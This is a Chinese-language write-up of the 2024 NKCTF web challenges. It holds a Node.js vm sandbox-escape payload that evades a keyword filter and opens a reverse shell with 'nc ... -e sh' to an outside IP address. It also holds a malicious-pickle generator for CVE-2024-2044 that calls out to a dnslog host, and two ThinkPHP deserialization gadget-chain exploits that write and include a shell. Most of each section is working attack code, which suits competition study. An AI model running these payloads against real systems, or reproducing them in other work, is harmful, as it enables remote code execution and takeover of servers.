2024 NKCTF

2024 NKCTF

my first cms

后台地址:admin/login.php

爆破密码:

image

登陆后插件修改返回的请求头为命令执行

image

image

全世界最简单的CTF

访问/secret给了源码:

const express = require('express');
const bodyParser = require('body-parser');
const app = express();
const fs = require("fs");
const path = require('path');
const vm = require("vm");

app
    .use(bodyParser.json())
    .set('views', path.join(__dirname, 'views'))
    .use(express.static(path.join(__dirname, '/public')))

app.get('/', function (req, res){
    res.sendFile(__dirname + '/public/home.html');
})


function waf(code) {
    let pattern = /(process|\[.*?\]|exec|spawn|Buffer|\\|\+|concat|eval|Function)/g;
    if(code.match(pattern)){
        throw new Error("what can I say? hacker out!!");
    }
}

app.post('/', function (req, res){
    let code = req.body.code;
    let sandbox = Object.create(null);
    let context = vm.createContext(sandbox);
    try {
        // waf(code)
        let result = vm.runInContext(code, context);
        console.log(result);
    } catch (e){
        console.log(e.message);
        require('./hack');
    }
})

app.get('/secret', function (req, res){
    if(process.__filename == null) {
        let content = fs.readFileSync(__filename, "utf-8");
        return res.send(content);
    } else {
        let content = fs.readFileSync(process.__filename, "utf-8");
        return res.send(content);
    }
})


app.listen(3000, ()=>{
    console.log("listen on 3000");
})

选一个vm逃逸payload:

  const err = new Error();
  err.name = {
    toString: new Proxy(() => "", {
      apply(target, thiz, args) {
        const process = args.constructor.constructor("return process")();
        throw process.mainModule.require("child_process").execSync("whoami").toString();
      },
    }),
  };
  try {
    err.stack;
  } catch (stdout) {
    stdout;
  }

禁用了字符和中括号参考https://www.anquanke.com/post/id/237032#h3-11

payload:

const err = new Error();
err.name = {
  toString: new Proxy(() => "", {
    apply(target, thiz, args) {
      const a = args.constructor.constructor("return global")();
      const b = Reflect.get(a, Reflect.ownKeys(a).find(x=>x.includes('pro'))).mainModule.require(String.fromCharCode(99,104,105,108,100,95,112,114,111,99,101,115,115));
      throw Reflect.get(b, Reflect.ownKeys(b).find(x=>x.includes('ex')))("nc 43.143.251.194 9999 -e sh");
    },
  }),
};
try {
  err.stack;
} catch (stdout) {
  stdout;
}

image

attack_tacooooo

账号密码:tacooooo@qq.com/tacooooo

登陆后利用漏洞cve-2024-2044即可getshell

import struct
import sys

def produce_pickle_bytes(platform, cmd):
    b = b'\x80\x04\x95'
    b += struct.pack('L', 22 + len(platform) + len(cmd))
    b += b'\x8c' + struct.pack('b', len(platform)) + platform.encode()
    b += b'\x94\x8c\x06system\x94\x93\x94'
    b += b'\x8c' + struct.pack('b', len(cmd)) + cmd.encode()
    b += b'\x94\x85\x94R\x94.'
    print(b)
    return b

if __name__ == '__main__':
    with open('posix.pickle', 'wb') as f:
        f.write(produce_pickle_bytes('posix', f"ping e01mvg.dnslog.cn"))

上传文件

image

修改Cookie../storage/tacooooo_qq.com/posix.pickle!a

1cffbb7adf9e2cad8761306a1ecb3dd

用过就是熟悉

给了附件,入口在登陆

image

所以接下来就是找反序列化链了,从__destruct开始

image

搜到了Windows.php再加removeFiles,梦回tp链

跟着tp往下一路跟:

Windwos#__destruct##removeFiles()
Collection#__toString##toJson()###toArray()

到这里toArray()有点不一样了,这里他自己实现了这个toArray方法

image

不过这里一眼就看出还是可以调用__get的,调用View的可以接着触发__call方法

image

这里的__call方法有两个可以调用:

TestOne的

image

Config的:

image

一个是写文件,另一个是包含。最初的思路是包含hint.php的内容直接执行命令,但是hint.php不是马

只能先利用TestOne的把hint写出来访问然后下一步:(链子可能乱了点,因为本来是打算调用Config直接getshell的)

<?php

namespace think;

class Config
{}

namespace think;
abstract class Testone
{}

namespace think;

use think\exception\ClassNotFoundException;
use think\response\Redirect;
class Debug extends Testone{
    protected $data = [];
    public $engine;
    public function __construct(){
        $this->data["Loginout"] = new Config();
        $this->engine = array("time"=>"10086");
    }
}

namespace think;

class View
{
    protected $data = [];
    public $engine;
    public function __construct(){
        $this->data["Loginout"] = new Debug();
        $this->engine = array("time"=>"10086");
    }
}


namespace think;

use ArrayAccess;
use ArrayIterator;
use Countable;
use IteratorAggregate;
use JsonSerializable;
use Traversable;
class Collection implements ArrayAccess, Countable, IteratorAggregate, JsonSerializable{
    protected $items = [];

    /**
     * Collection constructor.
     * @access public
     * @param  array $items 数据
     */
    public function __construct($items = [])
    {
        $this->items = new View();
    }

    public function getIterator()
    {
        // TODO: Implement getIterator() method.
    }

    public function offsetExists($offset)
    {
        // TODO: Implement offsetExists() method.
    }

    public function offsetGet($offset)
    {
        // TODO: Implement offsetGet() method.
    }

    public function offsetSet($offset, $value)
    {
        // TODO: Implement offsetSet() method.
    }

    public function offsetUnset($offset)
    {
        // TODO: Implement offsetUnset() method.
    }

    public function count()
    {
        // TODO: Implement count() method.
    }

    public function jsonSerialize()
    {
        // TODO: Implement jsonSerialize() method.
    }
}


namespace think\process\pipes;

use think\Collection;
use think\Process;

class Windows extends Pipes{
    public $filename;
    public $files;
    public function __construct(){
        $this->filename = new Collection();
        $this->files = array(new Collection());
    }
}

abstract class Pipes{}


$windows = new Windows();
$serialize = serialize($windows);
echo base64_encode($serialize);

写完之后可以直接访问:http://354d6610-3473-4620-a6bd-8578cc93a2cc.node.nkctf.yuzhian.com.cn/app/controller/user/think/662f26ed12e173e25fea74309246c133

这个md5就是bp返回包里面的时间戳加密

得到一份这样的文件:

亲爱的Chu0,

我怀着一颗激动而充满温柔的心,写下这封情书,希望它能够传达我对你的深深情感。或许这只是一封文字,但我希望每一个字都能如我心情般真挚。

在这个瞬息万变的世界里,你是我生命中最美丽的恒定。每一天,我都被你那灿烂的笑容和温暖的眼神所吸引,仿佛整个世界都因为有了你而变得更加美好。你的存在如同清晨第一缕阳光,温暖而宁静。

或许,我们之间存在一种特殊的联系,一种只有我们两个能够理解的默契。



<<<<<<<<我曾听说,密码的明文,加上心爱之人的名字(Chu0),就能够听到游客的心声。>>>>>>>>



而我想告诉你,你就是我心中的那个游客。每一个与你相处的瞬间,都如同解开心灵密码的过程,让我更加深刻地感受到你的独特魅力。

你的每一个微笑,都是我心中最美丽的音符;你的每一句关心,都是我灵魂深处最温暖的拥抱。在这个喧嚣的世界中,你是我安静的港湾,是我倚靠的依托。我珍视着与你分享的每一个瞬间,每一段回忆都如同一颗珍珠,串联成我生命中最美丽的项链。

或许,这封情书只是文字的表达,但我愿意将它寄予你,如同我内心深处对你的深深情感。希望你能感受到我的真挚,就如同我每一刻都在努力解读心灵密码一般。愿我们的故事能够继续,在这段感情的旅程中,我们共同书写属于我们的美好篇章。



POST /?user/index/loginSubmit HTTP/1.1
Host: 192.168.128.2
Content-Length: 162
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://192.168.128.2
Referer: http://192.168.128.2/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: kodUserLanguage=zh-CN; CSRF_TOKEN=xxx
Connection: close

name=guest&password=tQhWfe944VjGY7Xh5NED6ZkGisXZ6eAeeiDWVETdF-hmuV9YJQr25bphgzthFCf1hRiPQvaI&rememberPassword=0&salt=1&CSRF_TOKEN=xxx&API_ROUTE=user%2Findex%2FloginSubmit

hint: 新建文件

这里预期应该是通过这个密码解密得到密码

但是sql文件里面可以直接看到:

image

密码是!@!@!@!@NKCTFChu0

预期应该是通过解密来得到:

<?php

/*
* @link http://kodcloud.com/
* @author warlee | e-mail:kodcloud@qq.com
* @copyright warlee 2014.(Shanghai)Co.,Ltd
* @license http://kodcloud.com/tools/license/license.txt
*------
* 字符串加解密类;
* 一次一密;且定时解密有效
* 可用于加密&动态key生成
* demo:
* 加密:echo Mcrypt::encode('abc','123');
* 解密:echo Mcrypt::decode('9f843I0crjv5y0dWE_-uwzL_mZRyRb1ynjGK4I_IACQ','123');
*/

class Mcrypt{
    public static $defaultKey = 'a!takA:dlmcldEv,e';

    /**
     * 字符加解密,一次一密,可定时解密有效
     * 
     * @param string $string 原文或者密文
     * @param string $operation 操作(encode | decode)
     * @param string $key 密钥
     * @param int $expiry 密文有效期,单位s,0 为永久有效
     * @return string 处理后的 原文或者 经过 base64_encode 处理后的密文
     */
    public static function encode($string,$key = '', $expiry = 0,$cKeySet='',$encode=true){
        if($encode){$string = rawurlencode($string);}
        $ckeyLength = 4;
    
        $key = md5($key ? $key : self::$defaultKey); //解密密匙
        $keya = md5(substr($key, 0, 16));		 //做数据完整性验证  
        $keyb = md5(substr($key, 16, 16));		 //用于变化生成的密文 (初始化向量IV)	
        $cKeySet = $cKeySet ? $cKeySet: md5(microtime());
        $keyc = substr($cKeySet, - $ckeyLength);
        $cryptkey = $keya . md5($keya . $keyc);  
        $keyLength = strlen($cryptkey);
        $string = sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string . $keyb), 0, 16) . $string;
        $stringLength = strlen($string);

        $rndkey = array();
        for($i = 0; $i <= 255; $i++) {
            $rndkey[$i] = ord($cryptkey[$i % $keyLength]);
        }

        $box = range(0, 255);
        // 打乱密匙簿,增加随机性
        for($j = $i = 0; $i < 256; $i++) {
            $j = ($j + $box[$i] + $rndkey[$i]) % 256;
            $tmp = $box[$i];
            $box[$i] = $box[$j];
            $box[$j] = $tmp;
        }
        // 加解密,从密匙簿得出密匙进行异或,再转成字符
        $result = '';
        for($a = $j = $i = 0; $i < $stringLength; $i++) {
            $a = ($a + 1) % 256;
            $j = ($j + $box[$a]) % 256;
            $tmp = $box[$a];
            $box[$a] = $box[$j];
            $box[$j] = $tmp; 
            $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
        }
        $result = $keyc . str_replace('=', '', base64_encode($result));
        $result = str_replace(array('+', '/', '='),array('-', '_', '.'), $result);
        return $result;
    }

    /**
     * 字符加解密,一次一密,可定时解密有效
     * 
     * @param string $string 原文或者密文
     * @param string $operation 操作(encode | decode)
     * @param string $key 密钥
     * @param int $expiry 密文有效期,单位s,0 为永久有效
     * @return string 处理后的 原文或者 经过 base64_encode 处理后的密文
     */
    public static function decode($string,$key = '',$encode=true){
        $string = str_replace(array('-', '_', '.'),array('+', '/', '='), $string);
        $ckeyLength = 4;
        $key = md5($key ? $key : self::$defaultKey); //解密密匙
        $keya = md5(substr($key, 0, 16));		 //做数据完整性验证  
        $keyb = md5(substr($key, 16, 16));		 //用于变化生成的密文 (初始化向量IV)
        $keyc = substr($string, 0, $ckeyLength);
        $cryptkey = $keya . md5($keya . $keyc);  
        $keyLength = strlen($cryptkey);
        $string = base64_decode(substr($string, $ckeyLength));
        $stringLength = strlen($string);

        $rndkey = array();
        for($i = 0; $i <= 255; $i++) {
            $rndkey[$i] = ord($cryptkey[$i % $keyLength]);
        }

        $box = range(0, 255);
        // 打乱密匙簿,增加随机性
        for($j = $i = 0; $i < 256; $i++) {
            $j = ($j + $box[$i] + $rndkey[$i]) % 256;
            $tmp = $box[$i];
            $box[$i] = $box[$j];
            $box[$j] = $tmp;
        }
        // 加解密,从密匙簿得出密匙进行异或,再转成字符
        $result = '';
        for($a = $j = $i = 0; $i < $stringLength; $i++) {
            $a = ($a + 1) % 256;
            $j = ($j + $box[$a]) % 256;
            $tmp = $box[$a];
            $box[$a] = $box[$j];
            $box[$j] = $tmp; 
            $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
        }
        $theTime = intval(substr($result, 0, 10));
        $resultStr  = '';
        if (($theTime == 0 || $theTime - time() > 0)
        && substr($result, 10, 16) == substr(md5(substr($result, 26) . $keyb), 0, 16)
        ) {
            $resultStr = substr($result, 26);
            if($encode){$resultStr = rawurldecode($resultStr);}
        }
        return $resultStr;
    }
}
$key = substr("tQhWfe944VjGY7Xh5NED6ZkGisXZ6eAeeiDWVETdF-hmuV9YJQr25bphgzthFCf1hRiPQvaI", 0, 5) . "2&$%@(*@(djfhj1923";
$strings = Mcrypt::decode(substr("tQhWfe944VjGY7Xh5NED6ZkGisXZ6eAeeiDWVETdF-hmuV9YJQr25bphgzthFCf1hRiPQvaI", 5), $key);
echo $strings;
// echo Mcrypt::decode('tQhWfe944VjGY7Xh5NED6ZkGisXZ6eAeeiDWVETdF-hmuV9YJQr25bphgzthFCf1hRiPQvaI',"2&$%@(*@(djfhj1923");

image

利用密码!@!@!@!@NKCTFChu0登陆

a047f4f373594d23471e8bf64cc44d4f

进去后可以看到一个文件

内容是:

c001a0c206e999ea08c2805be146b0fc

这样就可以和include串起来了:

exp:

<?php

namespace think;

class Config
{}

namespace think;

class View
{
    protected $data = [];
    public $engine;
    public function __construct(){
        $this->data["Loginout"] = new Config();
        $this->engine = array("name"=>"data/files/shell");
    }
}


namespace think;

use ArrayAccess;
use ArrayIterator;
use Countable;
use IteratorAggregate;
use JsonSerializable;
use Traversable;
class Collection implements ArrayAccess, Countable, IteratorAggregate, JsonSerializable{
    protected $items = [];

    /**
     * Collection constructor.
     * @access public
     * @param  array $items 数据
     */
    public function __construct($items = [])
    {
        $this->items = new View();
    }

    public function getIterator()
    {
        // TODO: Implement getIterator() method.
    }

    public function offsetExists($offset)
    {
        // TODO: Implement offsetExists() method.
    }

    public function offsetGet($offset)
    {
        // TODO: Implement offsetGet() method.
    }

    public function offsetSet($offset, $value)
    {
        // TODO: Implement offsetSet() method.
    }

    public function offsetUnset($offset)
    {
        // TODO: Implement offsetUnset() method.
    }

    public function count()
    {
        // TODO: Implement count() method.
    }

    public function jsonSerialize()
    {
        // TODO: Implement jsonSerialize() method.
    }
}


namespace think\process\pipes;

use think\Collection;
use think\Process;

class Windows extends Pipes{
    public $filename;
    public $files;
    public function __construct(){
        $this->filename = new Collection();
        $this->files = array(new Collection());
    }
}

abstract class Pipes{}


$windows = new Windows();
$serialize = serialize($windows);
echo base64_encode($serialize);

bp发包:

9862094c80870033e461ba949ce2fc5a

得到flag:

3299cfa76224eb2a964b6c073d4d5bcb